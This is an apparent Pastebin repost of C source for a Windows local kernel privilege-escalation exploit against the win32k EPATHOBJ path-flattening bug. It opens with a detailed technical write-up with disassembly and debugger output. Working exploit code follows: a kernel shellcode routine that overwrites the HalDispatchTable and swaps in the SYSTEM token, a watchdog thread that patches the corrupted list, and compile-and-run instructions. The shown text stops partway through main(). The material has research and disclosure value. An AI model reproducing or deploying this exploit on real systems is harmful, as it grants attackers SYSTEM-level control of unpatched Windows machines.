Advertisement
CaffeineSecurity

Windows Exploit (NOT VERIFIED)

Jun 13th, 2013
200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //Found this paste in Pastebin with a short expiration time.  Re-posting for continuing analysis.
  2. //This is NOT MY WORK, and IS NOT VERIFIED
  3. //Code may be malicious. Be wary.
  4. //Ken - @CaffSec
  5.  
  6.  
  7. #ifndef WIN32_NO_STATUS
  8. # define WIN32_NO_STATUS
  9. #endif
  10. #include <stdio.h>
  11. #include <stdarg.h>
  12. #include <stddef.h>
  13. #include <windows.h>
  14. #include <assert.h>
  15. #ifdef WIN32_NO_STATUS
  16. # undef WIN32_NO_STATUS
  17. #endif
  18. #include <ntstatus.h>
  19.  
  20. #pragma comment(lib, "gdi32")
  21. #pragma comment(lib, "kernel32")
  22. #pragma comment(lib, "user32")
  23. #pragma comment(lib, "shell32")
  24. #pragma comment(linker, "/SECTION:.text,ERW")
  25.  
  26. #ifndef PAGE_SIZE
  27. # define PAGE_SIZE 0x1000
  28. #endif
  29.  
  30. #define MAX_POLYPOINTS (8192 * 3)
  31. #define MAX_REGIONS 8192
  32. #define CYCLE_TIMEOUT 10000
  33.  
  34. //
  35. // --------------------------------------------------
  36. // Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
  37. // ----------------------------------------- taviso () cmpxchg8b com -----
  38. //
  39. // INTRODUCTION
  40. //
  41. // There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
  42. // PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
  43. // next list pointer. The bug is really nice, but exploitation when
  44. // allocations start failing is tricky.
  45. //
  46. // ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ     *this,
  47. //                                        PATHRECORD   **pppr,
  48. //                                        ULONG         *pcMax,
  49. //                                        ULONG cNeeded)
  50. //  .text:BFA122CA                 mov     esi, [ebp+ppr]
  51. //  .text:BFA122CD                 mov     eax, [esi+PATHRECORD.pprPrev]
  52. //  .text:BFA122D0                 push    edi
  53. //  .text:BFA122D1                 mov     edi, [ebp+pprNew]
  54. //  .text:BFA122D4                 mov     [edi+PATHRECORD.pprPrev], eax
  55. //  .text:BFA122D7                 lea     eax, [edi+PATHRECORD.count]
  56. //  .text:BFA122DA                 xor     edx, edx
  57. //  .text:BFA122DC                 mov     [eax], edx
  58. //  .text:BFA122DE                 mov     ecx, [esi+PATHRECORD.flags]
  59. //  .text:BFA122E1                 and     ecx, not (PD_BEZIER)
  60. //  .text:BFA122E4                 mov     [edi+PATHRECORD.flags], ecx
  61. //  .text:BFA122E7                 mov     [ebp+pprNewCountPtr], eax
  62. //  .text:BFA122EA                 cmp     [edi+PATHRECORD.pprPrev], edx
  63. //  .text:BFA122ED                 jnz     short loc_BFA122F7
  64. //  .text:BFA122EF                 mov     ecx, [ebx+EPATHOBJ.ppath]
  65. //  .text:BFA122F2                 mov     [ecx+PATHOBJ.pprfirst], edi
  66. //
  67. //  It turns out this mostly works because newpathrec() is backed by newpathalloc()
  68. //  which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
  69. //
  70. //  ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
  71. //  .text:BF9160D7                 xor     esi, esi
  72. //  .text:BF9160DE                 push    esi
  73. //  .text:BF9160DF                 push    esi
  74. //  .text:BF9160E0                 push    [ebp+tag]
  75. //  .text:BF9160E3                 push    [ebp+size]
  76. //  .text:BF9160E6                 call    _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x)
  77. //  .text:BF9160EB                 mov     esi, eax
  78. //  .text:BF9160ED                 test    esi, esi
  79. //  .text:BF9160EF                 jz      short loc_BF9160FF
  80. //  .text:BF9160F1                 push    [ebp+size]      ; size_t
  81. //  .text:BF9160F4                 push    0               ; int
  82. //  .text:BF9160F6                 push    esi             ; void *
  83. //  .text:BF9160F7                 call    _memset
  84. //
  85. //  However, the PATHALLOC allocator includes it's own freelist implementation, and
  86. //  if that codepath can satisfy a request the memory isn't zeroed and returned
  87. //  directly to the caller. This effectively means that we can add our own objects
  88. //  to the PATHRECORD chain.
  89. //
  90. //  We can force this behaviour under memory pressure relatively easily, I just
  91. //  spam HRGN objects until they start failing. This isn't super reliable, but it's
  92. //  good enough for testing.
  93. //
  94. //          // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  95. //          // failure. Seriously, do some damn QA Microsoft, wtf.
  96. //          for (Size = 1 << 26; Size; Size >>= 1) {
  97. //              while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
  98. //                  ;
  99. //          }
  100. //
  101. //  Adding user controlled blocks to the freelist is a little trickier, but I've
  102. //  found that flattening large lists of bezier curves added with PolyDraw() can
  103. //  accomplish this reliably. The code to do this is something along the lines of:
  104. //
  105. //          for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  106. //              Points[PointNum].x      = 0x41414141 >> 4;
  107. //              Points[PointNum].y      = 0x41414141 >> 4;
  108. //              PointTypes[PointNum]    = PT_BEZIERTO;
  109. //          }
  110. //
  111. //          for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
  112. //              BeginPath(Device);
  113. //              PolyDraw(Device, Points, PointTypes, PointNum);
  114. //              EndPath(Device);
  115. //              FlattenPath(Device);
  116. //              FlattenPath(Device);
  117. //              EndPath(Device);
  118. //          }
  119. //
  120. //   We can verify this is working by putting a breakpoint after newpathrec, and
  121. //   verifying the buffer is filled with recognisable values when it returns:
  122. //
  123. //   kd> u win32k!EPATHOBJ::pprFlattenRec+1E
  124. //   win32k!EPATHOBJ::pprFlattenRec+0x1e:
  125. //   95c922b8 e8acfbffff      call    win32k!EPATHOBJ::newpathrec (95c91e69)
  126. //   95c922bd 83f801          cmp     eax,1
  127. //   95c922c0 7407            je      win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
  128. //   95c922c2 33c0            xor     eax,eax
  129. //   95c922c4 e944020000      jmp     win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
  130. //   95c922c9 56              push    esi
  131. //   95c922ca 8b7508          mov     esi,dword ptr [ebp+8]
  132. //   95c922cd 8b4604          mov     eax,dword ptr [esi+4]
  133. //   kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
  134. //   kd> g
  135. //   fe938fac  41414140
  136. //   fe938fac  41414140
  137. //   fe938fac  41414140
  138. //   fe938fac  41414140
  139. //   fe938fac  41414140
  140. //
  141. //   The breakpoint dumps the first dword of the returned buffer, which matches the
  142. //   bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
  143. //   EPATHOBJ->records->head->next->next into userspace is no problem, and we can
  144. //   easily break the list traversal in bFlattten():
  145. //
  146. //   BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
  147. //   {
  148. //     EPATHOBJ *pathobj; // esi () 1
  149. //     PATHOBJ *ppath; // eax () 1
  150. //     BOOL result; // eax () 2
  151. //     PATHRECORD *ppr; // eax () 3
  152. //
  153. //     pathobj = this;
  154. //     ppath = this->ppath;
  155. //     if ( ppath )
  156. //     {
  157. //       for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
  158. //       {
  159. //         if ( ppr->flags & PD_BEZIER )
  160. //         {
  161. //           ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
  162. //           if ( !ppr )
  163. //             goto LABEL_2;
  164. //         }
  165. //       }
  166. //       pathobj->fl &= 0xFFFFFFFE;
  167. //       result = 1;
  168. //     }
  169. //     else
  170. //     {
  171. //   LABEL_2:
  172. //       result = 0;
  173. //     }
  174. //     return result;
  175. //   }
  176. //
  177. //   All we have to do is allocate our own PATHRECORD structure, and then spam
  178. //   PolyDraw() with POINTFIX structures containing co-ordinates that are actually
  179. //   pointers shifted right by 4 (for this reason the structure must be aligned so
  180. //   the bits shifted out are all zero).
  181. //
  182. //   We can see this in action by putting a breakpoint in bFlatten when ppr has
  183. //   moved into userspace:
  184. //
  185. //   kd> u win32k!EPATHOBJ::bFlatten
  186. //   win32k!EPATHOBJ::bFlatten:
  187. //   95c92517 8bff            mov     edi,edi
  188. //   95c92519 56              push    esi
  189. //   95c9251a 8bf1            mov     esi,ecx
  190. //   95c9251c 8b4608          mov     eax,dword ptr [esi+8]
  191. //   95c9251f 85c0            test    eax,eax
  192. //   95c92521 7504            jne     win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
  193. //   95c92523 33c0            xor     eax,eax
  194. //   95c92525 5e              pop     esi
  195. //   kd> u
  196. //   win32k!EPATHOBJ::bFlatten+0xf:
  197. //   95c92526 c3              ret
  198. //   95c92527 8b4014          mov     eax,dword ptr [eax+14h]
  199. //   95c9252a eb14            jmp     win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
  200. //   95c9252c f6400810        test    byte ptr [eax+8],10h
  201. //   95c92530 740c            je      win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
  202. //   95c92532 50              push    eax
  203. //   95c92533 8bce            mov     ecx,esi
  204. //   95c92535 e860fdffff      call    win32k!EPATHOBJ::pprFlattenRec (95c9229a)
  205. //
  206. //   So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
  207. //   flags (defined in winddi.h). Let's break if it's in userspace:
  208. //
  209. //   kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
  210. //   kd> g
  211. //   95c9252c f6400810        test    byte ptr [eax+8],10h
  212. //   kd> r
  213. //   eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
  214. //   eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0         nv up ei pl nz na po nc
  215. //   cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
  216. //   win32k!EPATHOBJ::bFlatten+0x15:
  217. //   95c9252c f6400810        test    byte ptr [eax+8],10h       ds:0023:41414148=??
  218. //
  219. //   The question is how to turn that into code execution? It's obviously trivial to
  220. //   call prFlattenRec with our userspace PATHRECORD..we can do that by setting
  221. //   PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
  222. //   poses a problem.
  223. //
  224. //   Let me demonstrate calling it with my own PATHRECORD:
  225. //
  226. //       // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
  227. //       // pathrecord chain.
  228. //       PathRecord = VirtualAlloc(NULL,
  229. //                                 sizeof(PATHRECORD),
  230. //                                 MEM_COMMIT | MEM_RESERVE,
  231. //                                 PAGE_EXECUTE_READWRITE);
  232. //
  233. //       // Initialise with recognisable debugging values.
  234. //       FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
  235. //
  236. //       PathRecord->next    = (PVOID)(0x41414141);
  237. //       PathRecord->prev    = (PVOID)(0x42424242);
  238. //
  239. //       // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
  240. //       // EPATHOBJ::bFlatten(), do that here.
  241. //       PathRecord->flags   = PD_BEZIERS;
  242. //
  243. //       // Generate a large number of Bezier Curves made up of pointers to our
  244. //       // PATHRECORD object.
  245. //       for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  246. //           Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
  247. //           Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
  248. //           PointTypes[PointNum]    = PT_BEZIERTO;
  249. //       }
  250. //
  251. //   kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
  252. //   kd> g
  253. //   win32k!EPATHOBJ::pprFlattenRec+0x28:
  254. //   95c922c2 33c0            xor     eax,eax
  255. //   kd> dd ebp+8 L1
  256. //   a3633be0  00130000
  257. //
  258. //   The ppr object is in userspace! If we peek at it:
  259. //
  260. //   kd> dd poi(ebp+8)
  261. //   00130000  41414141 42424242 00000010 cccccccc
  262. //   00130010  00000000 00000000 00000000 00000000
  263. //   00130020  00000000 00000000 00000000 00000000
  264. //   00130030  00000000 00000000 00000000 00000000
  265. //   00130040  00000000 00000000 00000000 00000000
  266. //   00130050  00000000 00000000 00000000 00000000
  267. //   00130060  00000000 00000000 00000000 00000000
  268. //   00130070  00000000 00000000 00000000 00000000
  269. //
  270. //   There's the next and prev pointer.
  271. //
  272. //   kd> kvn
  273. //    # ChildEBP RetAddr  Args to Child
  274. //   00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
  275. //   01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
  276. //   02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
  277. //   03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
  278. //
  279. //   The question is how to get PATHALLOC() to succeed under memory pressure so we
  280. //   can make this exploitable? I'm quite proud of this list cycle trick,
  281. //   here's how to turn it into an arbitrary write.
  282. //
  283. //   First, we create a watchdog thread that will patch the list atomically
  284. //   when we're ready. This is needed because we can't exploit the bug while
  285. //   HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
  286. //
  287. //   .text:BFA122B8                 call newpathrec              ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
  288. //   .text:BFA122BD                 cmp     eax, 1               ; Check for failure
  289. //   .text:BFA122C0                 jz      short continue
  290. //   .text:BFA122C2                 xor     eax, eax             ; Exit early
  291. //   .text:BFA122C4                 jmp     early_exit
  292. //
  293. //   So we create a list node like this:
  294. //
  295. //   PathRecord->Next    = PathRecord;
  296. //   PathRecord->Flags   = 0;
  297. //
  298. //   Then EPATHOBJ::bFlatten() spins forever doing nothing:
  299. //
  300. //   BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
  301. //   {
  302. //       /* ... */
  303. //
  304. //       for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
  305. //       {
  306. //         if ( ppr->flags & PD_BEZIER )
  307. //         {
  308. //           ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
  309. //         }
  310. //       }
  311. //
  312. //       /* ... */
  313. //   }
  314. //
  315. //   While it's spinning, we clean up in another thread, then patch the thread (we
  316. //   can do this, because it's now in userspace) to trigger the exploit. The first
  317. //   block of pprFlattenRec does something like this:
  318. //
  319. //       if ( pprNew->pprPrev )
  320. //         pprNew->pprPrev->pprnext = pprNew;
  321. //
  322. //   Let's make that write to 0xCCCCCCCC.
  323. //
  324. //   DWORD WINAPI WatchdogThread(LPVOID Parameter)
  325. //   {
  326. //
  327. //       // This routine waits for a mutex object to timeout, then patches the
  328. //       // compromised linked list to point to an exploit. We need to do this.
  329. //       LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
  330. //                          GetCurrentThreadId(),
  331. //                          Mutex);
  332. //
  333. //       if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
  334. //           // It looks like the main thread is stuck in a call to FlattenPath(),
  335. //           // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
  336. //           // up, and then patch the list to trigger our exploit.
  337. //           while (NumRegion--)
  338. //               DeleteObject(Regions[NumRegion]);
  339. //
  340. //           LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
  341. //
  342. //           InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
  343. //
  344. //       } else {
  345. //           LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
  346. //       }
  347. //
  348. //       return 0;
  349. //   }
  350. //
  351. //       PathRecord->next    = PathRecord;
  352. //       PathRecord->prev    = (PVOID)(0x42424242);
  353. //       PathRecord->flags   = 0;
  354. //
  355. //       ExploitRecord.next  = NULL;
  356. //       ExploitRecord.prev  = 0xCCCCCCCC;
  357. //       ExploitRecord.flags = PD_BEZIERS;
  358. //
  359. //   Here's the output on Windows 8:
  360. //
  361. //   kd> g
  362. //   *******************************************************************************
  363. //   *                                                                             *
  364. //   *                        Bugcheck Analysis                                    *
  365. //   *                                                                             *
  366. //   *******************************************************************************
  367. //
  368. //   Use !analyze -v to get detailed debugging information.
  369. //
  370. //   BugCheck 50, {cccccccc, 1, 8f18972e, 2}
  371. //   *** WARNING: Unable to verify checksum for ComplexPath.exe
  372. //   *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
  373. //   Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
  374. //
  375. //   Followup: MachineOwner
  376. //   ---------
  377. //
  378. //   nt!RtlpBreakWithStatusInstruction:
  379. //   810f46f4 cc              int     3
  380. //   kd> kv
  381. //   ChildEBP RetAddr  Args to Child
  382. //   a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
  383. //   a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
  384. //   a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
  385. //   a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
  386. //   a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
  387. //   a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
  388. //   a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
  389. //   a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
  390. //   a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
  391. //   a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
  392. //   a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
  393. //   a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
  394. //   0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
  395. //   0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
  396. //   WARNING: Stack unwind information not available. Following frames may be wrong.
  397. //   0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
  398. //   0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
  399. //   0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
  400. //   0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
  401. //   0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
  402. //   kd> .trap a03aba2c
  403. //   ErrCode = 00000002
  404. //   eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
  405. //   eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0         nv up ei ng nz na pe nc
  406. //   cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
  407. //   win32k!EPATHOBJ::pprFlattenRec+0x82:
  408. //   8f18972e 8918            mov     dword ptr [eax],ebx  ds:0023:cccccccc=????????
  409. //   kd> vertarget
  410. //   Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
  411. //   Product: WinNt, suite: TerminalServer SingleUserTS
  412. //   Built by: 9200.16581.x86fre.win8_gdr.130410-1505
  413. //   Machine Name:
  414. //   Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
  415. //   Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
  416. //   System Uptime: 0 days 0:02:30.432
  417. //   kd> .bugcheck
  418. //   Bugcheck code 00000050
  419. //   Arguments cccccccc 00000001 8f18972e 00000002
  420. //
  421. // EXPLOITATION
  422. //
  423. // We're somewhat limited with what we can do, as we don't control what's
  424. // written, it's always a pointer to a PATHRECORD object. We can clobber a
  425. // function pointer, but the problem is making it point somewhere useful.
  426. //
  427. // The solution is to make the Next pointer a valid sequence of instructions,
  428. // which jumps to our second stage payload. We have to do that in just 4 bytes
  429. // (unless you can find a better call site, let me know if you spot one).
  430. //
  431. // Thanks to progmboy for coming up with the solution: you reach back up the
  432. // stack and pull a SystemCall parameter out of the stack. It turns out
  433. // NtQueryIntervalProfile matches this requirement perfectly.
  434. //
  435. // INSTRUCTIONS
  436. //
  437. // C:\> cl ComplexPath.c
  438. // C:\> ComplexPath
  439. //
  440. // You might need to run it several times before we get the allocation we need,
  441. // it won't crash if it doesn't work, so you can keep trying. I'm not sure how
  442. // to improve that.
  443. //
  444. // CREDIT
  445. //
  446. // Tavis Ormandy <taviso () cmpxchg8b com>
  447. // progmboy <programmeboy () gmail com>
  448. //
  449.  
  450. POINT       Points[MAX_POLYPOINTS];
  451. BYTE        PointTypes[MAX_POLYPOINTS];
  452. HRGN        Regions[MAX_REGIONS];
  453. ULONG       NumRegion = 0;
  454. HANDLE      Mutex;
  455. DWORD       Finished = 0;
  456.  
  457. // Log levels.
  458. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
  459.  
  460. BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
  461.  
  462. // Copied from winddi.h from the DDK
  463. #define PD_BEGINSUBPATH   0x00000001
  464. #define PD_ENDSUBPATH     0x00000002
  465. #define PD_RESETSTYLE     0x00000004
  466. #define PD_CLOSEFIGURE    0x00000008
  467. #define PD_BEZIERS        0x00000010
  468.  
  469. typedef struct  _POINTFIX
  470. {
  471.     ULONG x;
  472.     ULONG y;
  473. } POINTFIX, *PPOINTFIX;
  474.  
  475. // Approximated from reverse engineering.
  476. typedef struct _PATHRECORD {
  477.     struct _PATHRECORD *next;
  478.     struct _PATHRECORD *prev;
  479.     ULONG               flags;
  480.     ULONG               count;
  481.     POINTFIX            points[4];
  482. } PATHRECORD, *PPATHRECORD;
  483.  
  484. PPATHRECORD PathRecord;
  485. PATHRECORD  ExploitRecord;
  486. PPATHRECORD ExploitRecordExit;
  487.  
  488. enum { SystemModuleInformation = 11 };
  489. enum { ProfileTotalIssues = 2 };
  490.  
  491. typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  492.     HANDLE Section;
  493.     PVOID MappedBase;
  494.     PVOID ImageBase;
  495.     ULONG ImageSize;
  496.     ULONG Flags;
  497.     USHORT LoadOrderIndex;
  498.     USHORT InitOrderIndex;
  499.     USHORT LoadCount;
  500.     USHORT OffsetToFileName;
  501.     UCHAR  FullPathName[256];
  502. } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
  503.  
  504. typedef struct _RTL_PROCESS_MODULES {
  505.     ULONG NumberOfModules;
  506.     RTL_PROCESS_MODULE_INFORMATION Modules[1];
  507. } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
  508.  
  509. FARPROC NtQuerySystemInformation;
  510. FARPROC NtQueryIntervalProfile;
  511. FARPROC PsReferencePrimaryToken;
  512. FARPROC PsLookupProcessByProcessId;
  513. PULONG  HalDispatchTable;
  514. ULONG   HalQuerySystemInformation;
  515. PULONG  TargetPid;
  516. PVOID  *PsInitialSystemProcess;
  517.  
  518. // Search the specified data structure for a member with CurrentValue.
  519. BOOL FindAndReplaceMember(PDWORD Structure,
  520.                           DWORD CurrentValue,
  521.                           DWORD NewValue,
  522.                           DWORD MaxSize)
  523. {
  524.     DWORD i, Mask;
  525.  
  526.     // Microsoft QWORD aligns object pointers, then uses the lower three
  527.     // bits for quick reference counting.
  528.     Mask = ~7;
  529.  
  530.     // Mask out the reference count.
  531.     CurrentValue &= Mask;
  532.  
  533.     // Scan the structure for any occurrence of CurrentValue.
  534.     for (i = 0; i < MaxSize; i++) {
  535.         if ((Structure[i] & Mask) == CurrentValue) {
  536.             // And finally, replace it with NewValue.
  537.             Structure[i] = NewValue;
  538.             return TRUE;
  539.         }
  540.     }
  541.  
  542.     // Member not found.
  543.     return FALSE;
  544. }
  545.  
  546.  
  547. // This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
  548. ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
  549. {
  550.     PVOID  TargetProcess;
  551.  
  552.     // Record that the exploit completed.
  553.     Finished = 1;
  554.  
  555.     // Fix the corrupted HalDispatchTable,
  556.     HalDispatchTable[1] = HalQuerySystemInformation;
  557.  
  558.     // Find the EPROCESS structure for the process I want to escalate
  559.     if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
  560.         PACCESS_TOKEN SystemToken;
  561.         PACCESS_TOKEN TargetToken;
  562.  
  563.         // Find the Token object for my target process, and the SYSTEM process.
  564.         TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
  565.         SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
  566.  
  567.         // Find the token in the target process, and replace with the system token.
  568.         FindAndReplaceMember((PDWORD) TargetProcess,
  569.                              (DWORD)  TargetToken,
  570.                              (DWORD)  SystemToken,
  571.                              0x200);
  572.     }
  573.  
  574.     return 0;
  575. }
  576.  
  577. DWORD WINAPI WatchdogThread(LPVOID Parameter)
  578. {
  579.     // Here we wait for the main thread to get stuck inside FlattenPath().
  580.     WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
  581.  
  582.     // It looks like we've taken control of the list, and the main thread
  583.     // is spinning in EPATHOBJ::bFlatten. We can't continue because
  584.     // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
  585.  
  586.     // So first, we clean up and make sure it can allocate memory.
  587.     while (NumRegion) DeleteObject(Regions[--NumRegion]);
  588.  
  589.     // Now we switch out the Next pointer for our exploit record. As soon
  590.     // as this completes, the main thread will stop spinning and continue
  591.     // into EPATHOBJ::pprFlattenRec.
  592.     InterlockedExchangePointer(&PathRecord->next,
  593.                                &ExploitRecord);
  594.     return 0;
  595. }
  596.  
  597. // I use this routine to generate a table of acceptable stub addresses. The
  598. // 0x40 offset is the location of the PULONG parameter to
  599. // nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
  600. // trick.
  601. VOID __declspec(naked) HalDispatchRedirect(VOID)
  602. {
  603.     __asm inc eax
  604.     __asm jmp dword ptr [ebp+0x40]; //  0
  605.     __asm inc ecx
  606.     __asm jmp dword ptr [ebp+0x40]; //  1
  607.     __asm inc edx
  608.     __asm jmp dword ptr [ebp+0x40]; //  2
  609.     __asm inc ebx
  610.     __asm jmp dword ptr [ebp+0x40]; //  3
  611.     __asm inc esi
  612.     __asm jmp dword ptr [ebp+0x40]; //  4
  613.     __asm inc edi
  614.     __asm jmp dword ptr [ebp+0x40]; //  5
  615.     __asm dec eax
  616.     __asm jmp dword ptr [ebp+0x40]; //  6
  617.     __asm dec ecx
  618.     __asm jmp dword ptr [ebp+0x40]; //  7
  619.     __asm dec edx
  620.     __asm jmp dword ptr [ebp+0x40]; //  8
  621.     __asm dec ebx
  622.     __asm jmp dword ptr [ebp+0x40]; //  9
  623.     __asm dec esi
  624.     __asm jmp dword ptr [ebp+0x40]; // 10
  625.     __asm dec edi
  626.     __asm jmp dword ptr [ebp+0x40]; // 11
  627.  
  628.     // Mark end of table.
  629.     __asm {
  630.         _emit 0
  631.         _emit 0
  632.         _emit 0
  633.         _emit 0
  634.     }
  635. }
  636.  
  637. int main(int argc, char **argv)
  638. {
  639.     HANDLE               Thread;
  640.     HDC                  Device;
  641.     ULONG                Size;
  642.     ULONG                PointNum;
  643.     HMODULE              KernelHandle;
  644.     PULONG               DispatchRedirect;
  645.     PULONG               Interval;
  646.     ULONG                SavedInterval;
  647.     RTL_PROCESS_MODULES  ModuleInfo;
  648.  
  649.     LogMessage(L_INFO, "\r--------------------------------------------------\n"
  650.                        "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
  651.                        "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
  652.                        "\n");
  653.  
  654.     NtQueryIntervalProfile    = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
  655.     NtQuerySystemInformation  = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
  656.     Mutex                     = CreateMutex(NULL, FALSE, NULL);
  657.     DispatchRedirect          = (PVOID) HalDispatchRedirect;
  658.     Interval                  = (PULONG) ShellCode;
  659.     SavedInterval             = Interval[0];
  660.     TargetPid                 = GetCurrentProcessId();
  661.  
  662.     LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
  663.     LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);
  664.  
  665.     // Lookup the address of system modules.
  666.     NtQuerySystemInformation(SystemModuleInformation,
  667.                              &ModuleInfo,
  668.                              sizeof ModuleInfo,
  669.                              NULL);
  670.  
  671.     LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
  672.                         ModuleInfo.Modules[0].FullPathName,
  673.                         ModuleInfo.Modules[0].ImageBase);
  674.  
  675.     // Lookup some system routines we require.
